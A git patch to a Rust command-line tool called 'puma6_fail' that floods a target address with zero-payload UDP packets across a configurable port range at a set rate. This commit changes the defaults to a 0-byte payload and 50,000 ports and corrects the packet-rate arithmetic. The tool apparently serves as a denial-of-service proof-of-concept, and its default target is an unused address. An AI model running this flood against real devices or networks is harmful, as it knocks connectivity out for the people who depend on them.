From 9df82175fa2c052451b182760c0f920dbf976769 Mon Sep 17 00:00:00 2001 From: Ross Allan Date: Wed, 26 Apr 2017 20:46:51 +0100 Subject: [PATCH] Adjust defaults. 0 byte payload, bigger port range --- src/main.rs | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/src/main.rs b/src/main.rs index 6083029..94399cb 100644 --- a/src/main.rs +++ b/src/main.rs @@ -17,11 +17,11 @@ fn main() { let args: Vec<_> = env::args().collect(); // default to an unused address (entire /8 unused) let mut target = "51.0.0.0"; - let mut length = 50usize; + let mut length = 0usize; let mut mbper_second = 0.5f32; - let mut port_range = 10000; + let mut port_range = 50000; - println!("usage: ./puma6_fail ", target, length, mbper_second, port_range); + println!("usage: ./puma6_fail ", target, length, mbper_second, port_range); if args.len() > 1 { target = args[1].as_str(); @@ -32,19 +32,21 @@ fn main() { length = args[2].as_str().parse::().expect("invalid packet size") } // 20 byte IP header + 8 byte UDP header + data - let data = zeros(length-28); + let data = zeros(length); if args.len() > 3 { mbper_second = args[3].as_str().parse::().expect("invalid speed") } - let per_second = ((1024f32 * 1024f32 * mbper_second) / 8f32) as usize; + let per_second = (1024f32 * 1024f32 * mbper_second) / 8f32; if args.len() > 4 { port_range = args[4].as_str().parse::().expect("invalid port count") } - let packets_per_millisecond:usize = (per_second / length)/1000; - println!("Sending {} UDP pps, {} bytes, to {} ports at {}", packets_per_millisecond*1000, length, port_range, target); + let udp_length = length + 28; + let ethernet_length = udp_length + 26; + let packets_per_millisecond = (per_second / (udp_length as f32))/1000f32; + println!("Sending {} UDP pps, {} bytes payload, {} bytes IP, {} bytes ethernet, to {} ports at {}", packets_per_millisecond*1000f32, length, udp_length, ethernet_length, port_range, target); let start = time::PreciseTime::now(); let mut count = 0; @@ -53,7 +55,7 @@ fn main() { source.send_to(&data, format!("{}:{}", target, port)).ok(); count = count + 1; let elapsed = start.to(time::PreciseTime::now()).num_milliseconds(); - if count/ packets_per_millisecond > (elapsed as usize) { + if count as f32 / packets_per_millisecond > (elapsed as f32) { #[allow(deprecated)] thread::sleep_ms(2); }